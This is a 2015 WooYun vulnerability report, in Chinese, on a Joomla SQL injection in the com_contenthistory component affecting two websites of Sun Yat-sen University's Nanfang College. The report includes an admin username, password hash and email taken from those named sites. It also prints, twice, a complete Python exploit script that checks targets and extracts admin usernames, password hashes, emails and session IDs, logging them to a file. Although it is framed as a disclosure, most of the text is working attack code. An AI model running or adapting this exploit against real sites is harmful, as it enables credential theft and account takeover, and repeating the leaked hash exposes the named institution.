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缺陷编号：wooyun-2015-0150342

漏洞标题：Joomla注入漏洞之中山大学南方学院

相关厂商：中山大学

漏洞作者： 路人甲

提交时间：2015-10-29 14:02

修复时间：2015-12-13 22:44

公开时间：2015-12-13 22:44

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：6

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-29： 细节已通知厂商并且等待厂商处理中
2015-10-29： 厂商已经确认，细节仅向厂商公开
2015-11-08： 细节向核心白帽子及相关领域专家公开
2015-11-18： 细节向普通白帽子公开
2015-11-28： 细节向实习白帽子公开
2015-12-13： 细节向公众公开

简要描述：

梦里寻他千百度，蓦然回首那人却在灯火阑珊处！

详细说明：

url: http://www.nfu.edu.cn/, 
admin: hljkdlic, 
password: $P$DIvYV9IubMDGrs3UzM53tH9oEAQdw2/, 
email: [email protected]
url: http://www.nfsysu.cn/, 
admin: hljkdlic, 
password: $P$DIvYV9IubMDGrs3UzM53tH9oEAQdw2/, 
email: [email protected]


zsdx.png


验证脚本：

def checkJoomlaSQLi(url):    
    url = url.strip()
    poc = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(select 1 from (select count(*),concat((select 0x6176666973686572),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    urlA=url+poc
    try:
        result = requests.get(urlA,timeout=30,allow_redirects=True,verify=False).content
        if 'avfisher' in result:
            username = getInfoByJoomlaSQLi(url, 'username')
            password = getInfoByJoomlaSQLi(url, 'password')
            email = getInfoByJoomlaSQLi(url, 'email')
            session_id = getInfoByJoomlaSQLi(url, 'session_id')
            vuls='[+] vuls found! url: '+url+', admin: '+username+', password: '+password+', email: '+email+', session_id: '+session_id
            logfile(vuls,'joomla_vuls.txt')
            print vuls
        else:
            print '[!] no vuls! url: '+url
    except Exception,e:
        print '[!] connection failed! url: '+url
def getInfoByJoomlaSQLi(url, param):
    if 'username' in param:
        payload = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(select 1 from (select count(*),concat((select (select concat(username)) from %23__users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    elif 'password' in param:
        payload = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(select 1 from (select count(*),concat((select (select concat(password)) from %23__users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    elif 'email' in param:
        payload = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(select 1 from (select count(*),concat((select (select concat(email)) from %23__users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    elif 'session_id' in param:
        payload = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(select 1 from (select count(*),concat((select (select concat(session_id)) from %23__session limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    urlA=url+payload
    try:
	result = requests.get(urlA,timeout=30,allow_redirects=True,verify=False).content
        reg = ".*Duplicate entry \'(.*?)1\'.*"
        match_url = re.search(reg,result)
	if match_url:
	   info=match_url.group(1)
        return info
    except Exception,e:
        return 'no info!'

漏洞证明：

url: http://www.nfu.edu.cn/, 
admin: hljkdlic, 
password: $P$DIvYV9IubMDGrs3UzM53tH9oEAQdw2/, 
email: [email protected]
url: http://www.nfsysu.cn/, 
admin: hljkdlic, 
password: $P$DIvYV9IubMDGrs3UzM53tH9oEAQdw2/, 
email: [email protected]


zsdx.png


验证脚本：

def checkJoomlaSQLi(url):    
    url = url.strip()
    poc = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(select 1 from (select count(*),concat((select 0x6176666973686572),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    urlA=url+poc
    try:
        result = requests.get(urlA,timeout=30,allow_redirects=True,verify=False).content
        if 'avfisher' in result:
            username = getInfoByJoomlaSQLi(url, 'username')
            password = getInfoByJoomlaSQLi(url, 'password')
            email = getInfoByJoomlaSQLi(url, 'email')
            session_id = getInfoByJoomlaSQLi(url, 'session_id')
            vuls='[+] vuls found! url: '+url+', admin: '+username+', password: '+password+', email: '+email+', session_id: '+session_id
            logfile(vuls,'joomla_vuls.txt')
            print vuls
        else:
            print '[!] no vuls! url: '+url
    except Exception,e:
        print '[!] connection failed! url: '+url
def getInfoByJoomlaSQLi(url, param):
    if 'username' in param:
        payload = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(select 1 from (select count(*),concat((select (select concat(username)) from %23__users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    elif 'password' in param:
        payload = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(select 1 from (select count(*),concat((select (select concat(password)) from %23__users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    elif 'email' in param:
        payload = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(select 1 from (select count(*),concat((select (select concat(email)) from %23__users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    elif 'session_id' in param:
        payload = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(select 1 from (select count(*),concat((select (select concat(session_id)) from %23__session limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    urlA=url+payload
    try:
	result = requests.get(urlA,timeout=30,allow_redirects=True,verify=False).content
        reg = ".*Duplicate entry \'(.*?)1\'.*"
        match_url = re.search(reg,result)
	if match_url:
	   info=match_url.group(1)
        return info
    except Exception,e:
        return 'no info!'

修复方案：

升级到最新版本的Joomla

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2015-10-29 22:43

厂商回复：

谢谢提醒，我们马上处理

最新状态：

暂无